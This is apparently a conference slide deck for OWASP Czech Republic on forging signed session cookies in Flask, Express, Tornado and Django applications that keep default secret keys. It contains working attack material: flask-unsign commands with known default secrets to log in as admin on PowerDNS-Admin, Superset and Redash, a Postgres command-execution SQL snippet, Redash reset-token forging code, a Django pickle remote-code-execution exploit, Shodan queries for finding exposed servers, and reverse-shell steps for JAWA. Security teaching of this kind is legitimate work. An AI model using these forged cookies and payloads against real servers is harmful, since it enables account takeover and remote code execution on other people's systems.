They are dangerous

... so better to hack this

By d4d
for OWASP Czech Republic

table of contents

  • Flask
  • Express
  • Tornado
  • Django

Airflow CVE-2020-17526

Incorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A.

Flask

Flask signed cookies

Flask by default uses something called signed cookies, which is simply a way of storing the current session data on the client (rather than the server) in such a way that it cannot (in theory) be tampered with.

Flask

Session data

The session data is the actual content of the session, while at first glance it looks unreadable, but to those who recognise it, it’s actually just a Base64 encoded string. If we were to decode this with itsdangerous base64 decoder, we’d get the following output:

{ logged_in: False }

Timestamp

The timestamp tells the server when the data was last updated. Depending on what version of Python library ItsDangerous you’re using, this might be the current Unix timestamp, or the current Unix timestamp minus the epoch

Cryptographic Hash

This is the part which makes the cookie secure. Before the server sends you your latest session data, it calculates a sha1 hash based on the combination of your session data, current timestamp and the server’s secret key.

temporary_key

Flask-Unsign

Command line tool Flask-Unsign to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. In addition to it comes a large dictionary of secret keys - Flask-Unsign-Wordlist

Flask-Unsign

Airflow exploitation

Airflow exploitation

We can very easily browse to an Airflow instance's login page, capture the unauthenticated cookie, and test to see if it is vulnerable:

flask-unsign -u -c <cookie>

Airflow exploitation

It's then trivial to take that same cookie and forge the user_id attribute, which will designate what user ID you want to login as. Since we are using stateless cookies, the Airflow instance has no idea we are modifying this attribute. In this example we'll try an ID of 1, which is typically an admin:

Airflow exploitation

Recon

Now. When you get familiar with Airflow vulnerability, we can move to the recon. Initial Luke Paris research Baking Flask cookies with your secrets use the Shodan to find all Werkzeug servers that set cookie session with query:

"Server: Werkzeug" and "Set-Cookie: session="

Shodan

Censys

Note

Just because the servers are running Werkzeug, doesn’t mean they’re running Flask. Furthermore we’re not taking applications whose information is stripped by another web server like Nginx, those who don’t instantly set a cookie or which are running behind a firewall into account. So take the following data with a grain of salt.

Recon

Super secret key

There is no patter for this secret key. Most common applications are Cookiecutter Flask and AdminLTE Flask template engine. Exploitation is pretty simple and can be done by `_id` and `_user_id` bruteforce.

PowerDNS-Admin

PowerDNS-Admin

Default hardcoded configuration secret_key is e951e5a1f4b94151b360f47edf596dd2. It's then trivial to take that same cookie and forge the `_user_id` attribute (not `user_id`), which will designate what user ID you want to login.

PowerDNS-Admin

d4d in ~ λ flask-unsign -s --secret 'e951e5a1f4b94151b360f47edf596dd2' -c "{'_fresh': True, '_id': '1', '_permanent': True, '_user_id': '1', 'authentication_type': 'LOCAL', 'csrf_token': '1', 'user_logged': True }

Superset

Superset

Another very very common secret key is \2\1thisismyscretkey\1\2\\e\\y\\y\\h. It is usually used by Apache Superset. Same as in case of PowerDNS and Airflow an attacker can login as an administrator by forging a session cookie with a user_id or _user_id value set to 1, using the off-the-shelf flask-unsign toolkit. “1” corresponds to the first Superset user, who is almost always an administrator.

Superset

Superset is designed to enable integrations with a variety of databases for exploring data and creating visualizations. Admin access gives attackers a lot of control over these databases and the ability to add and remove database connections. By default database connections are set up with read-only permissions but an attacker with admin access can enable writes and DML (data model language) statements.

Superset

Superset

The powerful SQL Lab interface allows attackers to run arbitrary SQL statements against connected databases. Depending on database user privileges, attackers can query, modify, and delete any data in the database as well as execute remote code on the database server:

        	
						DROP TABLE IF EXISTS cmd_exec;          
						CREATE TABLE cmd_exec(cmd_output text); 
						COPY cmd_exec FROM PROGRAM 'id';        
						SELECT * FROM cmd_exec;                 
						DROP TABLE IF EXISTS cmd_exec;          
      		
        

Superset

Default secret key was changed:

        	
    '\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', #ver < 1.4.1
    'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',         #ver >= 1.4.1
    'thisISaSECRET_1234',                           #template
    'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',         #documentation
    'TEST_NON_DEV_SECRET'                           #docker         
      		
        

Patch

The Superset team made an patch with the 2.1 release to not allow the server to start up if it’s configured with a default SECRET_KEY. With this update, many new users of Superset will no longer unintentionally shoot themselves in the foot.

Secrets

Secret Numbers
you-will-never-guess 19
secret 17
<some secret key> 14

Redash

Redash

Redash insecure default configuration: c292a0a3aa32397cdb050e233733900f. If you configured Redash without explicitly specifying the `REDASH_COOKIE_SECRET` environment variable, Redash instead used a default value that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.

Redash

If Redash secret is known to an attacker then they can modify the session state. In this case, we can modify the Redash `user_id` for the session and log in as any user. But there is another interesting exploit for the vulnerability. It is easiest to forge a password reset link for Redash.


					from itsdangerous import URLSafeTimedSerializer, 
																		SignatureExpired, BadSignature

					logger = logging.getLogger(__name__)
					serializer = URLSafeTimedSerializer(settings.SECRET_KEY)

					def invite_token(user):
					    return serializer.dumps(str(user.id))			
					

Redash

Redash

Visit password reset link {host}/redash/reset/<token> and choose a new password for user ID 1.


					from itsdangerous import URLSafeTimedSerializer, 
																		SignatureExpired, BadSignature
					s=URLSafeTimedSerializer("c292a0a3aa32397cdb050e233733900f")
					s.dumps(str("1"))		
					

Okta sample application

Okta sample application

This example shows you how to use Flask to login to your application with a Custom Login page. First version of application uses easily predictable secret key to sign session cookie: SomethingNotEntirelySecret.

Okta sample application

Unfortunately for attacker it is not enough to completely bypass authorisation mechanism as OpenIDConnect library have own session handling logic. Luckily for us it relies on same `SECRET_KEY` as it shown at on source code of flask-oidc.

Okta sample application

Session cookies is JWT token, signed by cryptographic hash calculated using same secret key.


					self.extra_data_serializer = JSONWebSignatureSerializer(
					    app.config['SECRET_KEY'], salt='flask-oidc-extra-data')
					self.cookie_serializer = JSONWebSignatureSerializer(
					    app.config['SECRET_KEY'])	
					

JSON Web Token (JWT)

OIDC claims:


					{ "sub": "0123456789abcdef",
						"name": "Test Name",
						"email": "attacker@example.com",
						"ver": 1,
						"iss": "https://example.com",
						"aud": "0123456789abcdef",
						"iat": 1000000000,
						"exp": 2000000001,
						"jti": "ID.0123456789abcdef-0123456789abcdef",
						"amr": [ "pwd" ],
						"preferred_username": "attacker@example.com",
						"auth_time": 2000000001,
						"at_hash": "0123456789abcdef" }
					

JAWA

JAWA

Jamf Automation and Webhook Assistant is a web server for hosting automation tools that interact with Jamf Pro, such as a webhook reciever, cron/timed exectution of scripts, and automated report generation. It is a flask app. If development team left SECRET_KEY by default it will allow any malicious user to get root access to vulenerable application.

JAWA

Default secret key before commit:


					if __name__ == '__main__':
						app.secret_key = "untini"
						serve(app, url_scheme='https',host='0.0.0.0', port=8000)
					

Step to reproduce

  • Create admin session token with flask-unsign
  • Upload cron job reverse shell
  • Wait for ping back
  • You are the root now

Express

Express cookie-session

As Flask, Express cookie-session uses stateless, signed cookies to store authentication data. This means that cookie-session is reliant on the passport attribute in the session cookie to determine if you are logged in. Session cookie is signed with sha1 algorithm.

Express

Exploit

cookie_sig = sign('session=<passport>', secret_key)


						def sign(data, key):
							key = key.encode()
							data = data.encode()
							hashData = hmac.new(key, data, sha1)
							signData = base64.encodebytes(hashData.digest())
																							.decode('utf-8')
							return signData.replace('/', '_').replace('+', '-')
															.replace('=', '').replace('\n','')
					

Recon

When you get familiar with Express cookie-session vulnerability, we can move to the recon. Again we can use the Shodan to find all express servers that set cookie session with query:

"Set-Cookie: session.sig="

Note

Just because the server return session.sig cookie they’re running express application. Furthermore we’re not taking applications whose cookies were renamed to something else. So take the following data with a grain of salt.

Recon

Parse Server

Parse is a widely used open-source framework for the development of application backends. The framework aids developers in speeding up application development to a considerable extent. It also cuts down on the effort necessary for developing an application. Parse can be used to develop conventional software projects such as web, mobile, and IoT (Internet of Things) applications.

Parse Server

MSAL for Node

MSAL for Node

MSAL authentication library tutorial does not have the vulnerability. My goal is to demonstrate some features that can be used to bypass authorization checks at cookie-session.

MSAL for Node

OAuth2.0 Authorization Code flow


					try {
						const tokenResponse = await msalInstance.acquireTokenByCode(req.session.authCodeRequest);
						req.session.accessToken = tokenResponse.accessToken;
						req.session.idToken = tokenResponse.idToken;
						req.session.account = tokenResponse.account;
						req.session.isAuthenticated = true;
						res.redirect(state.redirectTo);
					} catch (error) {
						next(error);
					}
					

MSAL for Node

We can create a new session with `isAuthenticated` flag and account information:


						{ "isAuthenticated":True, 
							"account":{
							    "username": name,
							    "name": name,
							    "idTokenClaims":{
							        "emails":[email],
							        "name":name
							    },
							    "localAccountId":"1",
							    "homeAccountId":"1",
							    "nativeAccountId":"1",
							    "environment":"login.microsoftonline.com",
							    "tenantId":"01234567890"
								}
							}
					

MSAL for Node

Custom middleware to check auth state:


					function isAuthenticated(req, res, next) {
					    if (!req.session.isAuthenticated) {
					    	// redirect to sign-in route
					      return res.redirect('/auth/signin'); 
					    }
					    next();
					};
					

MSAL for Node

ID rout:


					router.get('/id',
						isAuthenticated,
						async function (req, res, next) {
							res.render('id', { idTokenClaims: 
							req.session.account.idTokenClaims });
						}
					);
					

MSAL for Node

Profile rout:


					router.get('/profile',
					    isAuthenticated,
					    async function (req, res, next) {
					        try {
					            const graphResponse = await fetch(GRAPH_ME_END, 
					                req.session.accessToken);
					            res.render('profile', { profile: graphResponse });
					        } catch (error) {
					            next(error);
					        }
					    }
					);
					

MSAL for Node

Claim attributes

The session limit is big that allows to inject a number of potential flags for each rout. Sample flags are:

isAuth
isAuthAdmin
isAuthenticated
isAdmin
isAdminLogged
isAdminLoggedIn
isLogin
isLogged
isLoggedIn
isUserLoggedIn
is_logined
loggedIn

Tornado

Tornado

As Flask, Tornado web framework signs and timestamps a cookie so it cannot be forged. Normally, we cannot modify these attributes because the cookie is signed, which means we will break the seal by modifying the contents — unless we have the key!

Tornado

Signature

The signature is an HMAC-SHA256 of the whole string up to that point, including the final pipe.


					def _create_signature_v2(secret: Union[str, bytes], s: bytes) -> bytes:
						hash = hmac.new(utf8(secret), digestmod=hashlib.sha256)
						hash.update(utf8(s))
						return utf8(hash.hexdigest())
					

Recon

When you get familiar with Tornado cookie signing algorythm, we can move to the recon. Again we can use the Shodan to find all express servers that set cookie session with query:

Server: TornadoServer "2|1:0|"

Note

Just because the servers are running TornadoServer, doesn’t mean they’re using set_signed_cookie. Furthermore we’re not taking applications whose information is stripped by another web server like Nginx, those who don’t instantly set a cookie or which are running behind a firewall into account. So take the following data with a grain of salt.

Recon

Recon

After weeding out the non-signed cookies, I was left with 561 valid sessions. Passing each of these to script, resulted in 76 cracked sessions which is around 13%. Of these 76 sessions, only 10 unique secret keys were used. There is no patter for these secret keys. Most common applications are examples.

Django

Django

To use cookies-based sessions, set the SESSION_ENGINE setting to "django.contrib.sessions.backends.signed_cookies". The session data will be stored using Django’s tools for cryptographic signing and the SECRET_KEY setting. Algorithm must be an algorithm supported by hashlib, it defaults to 'sha256'.

Django

Warning

RCE

Remote code execution was known for a while. In 2018 year Sentry debug mode was used to exploit session cookies RCE on Sentry. Pickle - django.contrib.sessions.serializers.PickleSerializer is a binary protocol for (un)serializing Python object structures, such as classes and methods in them. If we were able to forge our own session that contains arbitrary pickle content, we could execute commands on the system.

Exploit


					SECRET_KEY='!!changeme!!'
					cookie='cookie'
					newContent =  django.core.signing.loads(
						cookie,
						key=SECRET_KEY,
						serializer=django.contrib.sessions.serializers.PickleSerializer,
						salt='django.contrib.sessions.backends.signed_cookies')
					class PickleRce(object):
					    def __reduce__(self):
					        return (os.system,("sleep 30",))
					newContent['testcookie'] = PickleRce()

					print django.core.signing.dumps(
						newContent,
						key=SECRET_KEY)
					

Recommendation

There are multiple ways you could avoid this issue. The first and most obvious way of doing so is to simply never use default secrets! Make your secret key random. The most practical solution is to not allow the server to start up if it’s configured with a default SECRET_KEY.

Q&A

My notes